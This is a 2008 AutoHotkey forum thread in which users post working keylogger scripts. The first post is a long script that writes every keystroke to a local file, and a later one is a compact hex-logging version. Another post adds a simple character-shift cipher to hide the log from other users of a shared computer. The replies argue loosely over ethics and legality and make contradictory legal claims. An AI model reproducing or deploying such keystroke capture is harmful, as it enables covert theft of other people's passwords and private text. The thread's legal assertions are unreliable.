Jump to content


Simple key stroke recorder


  • This topic is locked This topic is locked
51 replies to this topic

#1 athend

athend
  • Guests

Posted 27 June 2008 - 06:49 AM

hear is my keyloger it stores the name of the window that is open and all yeys pressed to a text document called keylog
;
; AutoHotkey Version: 1.x
; Language:       English
; Platform:       Win9x/NT
; Author:         A.N.Other <myemail@nowhere.com>
;
; Script Function:
;	Template script (you can customize this template by editing "ShellNew\Template.ahk" in your Windows folder)
;

#NoEnv ; Recommended for performance and compatibility with future AutoHotkey releases.
SendMode Input ; Recommended for new scripts due to its superior speed and reliability.

; Detect hidden windows since they can be active
; (e.g. AutoHotkey main window while using Menu,MenuName,Show.)
DetectHiddenWindows, On

Loop {
    WinWaitNotActive, % "ahk_id " WinActive("A")
    WinGetActiveTitle, Title
    ToolTip, %Title% 
    SoundPlay, *-1 

}


~a::fileappend, a, keylog.txt
	
~b::fileappend, b, keylog.txt

~c::fileappend, c, keylog.txt

~d::fileappend, d, keylog.txt

~e::fileappend, e, keylog.txt

~f::fileappend, f, keylog.txt

~g::fileappend, g, keylog.txt

~h::fileappend, h, keylog.txt

~i::fileappend, i, keylog.txt

~j::fileappend, j, keylog.txt

~k::fileappend, k, keylog.txt

~l::fileappend, l, keylog.txt

~m::fileappend, m, keylog.txt

~n::fileappend, n, keylog.txt

~o::fileappend, o, keylog.txt

~p::fileappend, p, keylog.txt

~q::fileappend, q, keylog.txt

~r::fileappend, r, keylog.txt

~s::fileappend, s, keylog.txt

~t::fileappend, t, keylog.txt

~u::fileappend, u, keylog.txt

~v::fileappend, v, keylog.txt

~w::fileappend, w, keylog.txt

~x::fileappend, x, keylog.txt

~y::fileappend, y, keylog.txt

~z::fileappend, z, keylog.txt

~+A::fileappend, B, keylog.txt

~+B::fileappend, B, keylog.txt

~+C::fileappend, C, keylog.txt

~+D::fileappend, D, keylog.txt

~+E::fileappend, E, keylog.txt

~+F::fileappend, F, keylog.txt

~+G::fileappend, G, keylog.txt

~+H::fileappend, H, keylog.txt

~+I::fileappend, I, keylog.txt

~+J::fileappend, J, keylog.txt

~+K::fileappend, K, keylog.txt

~+L::fileappend, L, keylog.txt

~+M::fileappend, M, keylog.txt

~+N::fileappend, N, keylog.txt

~+O::fileappend, O, keylog.txt

~+P::fileappend, P, keylog.txt

~+Q::fileappend, Q, keylog.txt

~+R::fileappend, R, keylog.txt

~+S::fileappend, S, keylog.txt

~+T::fileappend, T, keylog.txt

~+U::fileappend, U, keylog.txt

~+V::fileappend, V, keylog.txt

~+W::fileappend, W, keylog.txt

~+X::fileappend, X, keylog.txt

~+Y::fileappend, Y, keylog.txt

~+Z::fileappend, Z, keylog.txt
	
~`::fileappend, `, keylog.txt

~!::fileappend, !, keylog.txt

~@::fileappend, @, keylog.txt

~#::fileappend, #, keylog.txt

~$::fileappend, $, keylog.txt

~^::fileappend, ^, keylog.txt

~&::fileappend, &, keylog.txt

~*::fileappend, *, keylog.txt

~(::fileappend, (, keylog.txt

~)::fileappend, ), keylog.txt

~-::fileappend, -, keylog.txt

~_::fileappend, _, keylog.txt

~=::fileappend, =, keylog.txt

~+::fileappend, +, keylog.txt

~[::fileappend, [, keylog.txt

~{::fileappend, {, keylog.txt

~]::fileappend, ], keylog.txt

~}::fileappend, }, keylog.txt

~\::fileappend, \, keylog.txt

~|::fileappend, |, keylog.txt

~;::fileappend, ;, keylog.txt

~'::fileappend, ', keylog.txt

~<::fileappend, <, keylog.txt

~.::fileappend, ., keylog.txt

~>::fileappend, >, keylog.txt

~/::fileappend, /, keylog.txt

~?::fileappend, ?, keylog.txt

~enter::fileappend, {enter}, keylog.txt

~space::fileappend, {space}, keylog.txt

~tab::fileappend, {tab}, keylog.txt

~CapsLock::fileappend, {caps}, keylog.txt

~backspace::fileappend, {<-}, keylog.txt

~1::fileappend, 1, keylog.txt

~2::fileappend, 2, keylog.txt

~3::fileappend, 3, keylog.txt

~4::fileappend, 4, keylog.txt

~5::fileappend, 5, keylog.txt

~6::fileappend, 6, keylog.txt

~7::fileappend, 7, keylog.txt

~8::fileappend, 8, keylog.txt

~9::fileappend, 9, keylog.txt

~0::fileappend, 0, keylog.txt


#2 shajul

shajul
  • Members
  • 571 posts

Posted 27 June 2008 - 06:07 PM

First of all, why should you make a keylogger? It has misuse potential.

If you should make one, why write so much code? It can be written much more simply by..

removed cause i dont want my code to be misused..



#3 SpiderGames

SpiderGames
  • Members
  • 936 posts

Posted 09 July 2008 - 10:16 PM

Key Loggers are bad! :evil:

#4 shajul

shajul
  • Members
  • 571 posts

Posted 10 July 2008 - 07:03 AM

Key Loggers are bad! :evil:


you can run a keylogger on ur computer and never lose anything u type! install and forget kind-of backup.

if u want to generalise, nuclear energy is bad, guns are bad, knives are bad .....

#5 GodlyMario

GodlyMario
  • Members
  • 62 posts

Posted 10 July 2008 - 10:10 AM

nuclear energy and knives have good use though also have aspects of danger at the same time. guns probably are bad.
keyloggers could be used correctly just for personal use, but most people dont do that.

#6 Scorge scorgegarcia@gmail

Scorge scorgegarcia@gmail
  • Guests

Posted 11 July 2008 - 01:57 AM

Keyloggers are good backups for things you write in the computer, but, use it just for your own typing, other ways of using this is a privacy violation of others ;)

#7 Slanter

Slanter
  • Members
  • 739 posts

Posted 11 July 2008 - 02:35 AM

since there are already a few here, I'll post mine. It saves keystrokes as hex so you can get EVERY stroke from ascii codes 1-127 (standard set). I haven't really tested it much, but it seems to work effectively.
SetFormat, Integer, H
Loop, 0x7f
Hotkey, % "*~" . chr(A_Index), LogKey
Return
LogKey:
Key := RegExReplace(asc(SubStr(A_ThisHotkey,0)),"^0x")
FileAppend, % (StrLen(Key) == 1 ? "0" : "") . Key, Log.log
Return


#8 RawRee

RawRee
  • Members
  • 19 posts

Posted 09 September 2008 - 03:33 PM

Ok, fine i'll try it but how can we crypt the file received?
(So others can't check for shared computers)

Thanks

#9 SpiderGames

SpiderGames
  • Members
  • 936 posts

Posted 09 September 2008 - 10:16 PM

fileapeend, %thelog%, something.asdt

that keeps out most people. But is to fix jus tconvert it to a txt file

#10 Ian_School

Ian_School
  • Guests

Posted 10 September 2008 - 07:25 PM

Just use a simple loop through the file to change the ASC value of each character.

encrypt(sData) {
   Loop, Parse, sData
      r .= Chr(Asc(A_LoopField)+3)
   Return r
}

decrypt(sData) {
   Loop, Parse, sData
      r .= Chr(Asc(A_LoopField)-3)
   return r
}


#11 Ian_School

Ian_School
  • Guests

Posted 10 September 2008 - 07:26 PM

Sorry, I meant ASCII. Also, keylogging illegal in most states (for those of you in USA) even if you put it on your own computer.

#12 SpiderGames

SpiderGames
  • Members
  • 936 posts

Posted 11 September 2008 - 03:08 AM

Key loggers are illeagal. So is music download. And looking at porn (Yes it is and look it up if oyu don't beleive me =P). So really they shouldn't find you if your not doing anythign too bad. But remember... Don't be an ass.

#13 Ian_School

Ian_School
  • Guests

Posted 11 September 2008 - 06:56 PM

It's not ilegal to download music. You can pay a $0.99 USD for a song on iTunes, and it is perfectly legit. As for porn, it is also legel. There is nothing that says it isn't. If a woman so chooses to display her body in such a fasion, then display it as public knowledge, it is legal.

[Sorry for tyops--]

#14 SpiderGames

SpiderGames
  • Members
  • 936 posts

Posted 12 September 2008 - 12:28 AM

It's not ilegal to download music. You can pay a $0.99 USD for a song on iTunes, and it is perfectly legit. As for porn, it is also legel. There is nothing that says it isn't. If a woman so chooses to display her body in such a fasion, then display it as public knowledge, it is legal.

[Sorry for tyops--]


Some places it is. Canada it isn't. As for downloading I ment not paying for it. If you pay Itunes it's fine

#15 Slanter

Slanter
  • Members
  • 739 posts

Posted 12 September 2008 - 02:07 AM

Some places it is. Canada it isn't. As for downloading I ment not paying for it. If you pay Itunes it's fine

Specifically, it's illegal to download copyrighted content without permission from the holder of that copyright (I'm pretty sure that this is illegal everywhere according to international copyright laws). There are websites out there that offer free and legal downloads of music that has been made for that purpose.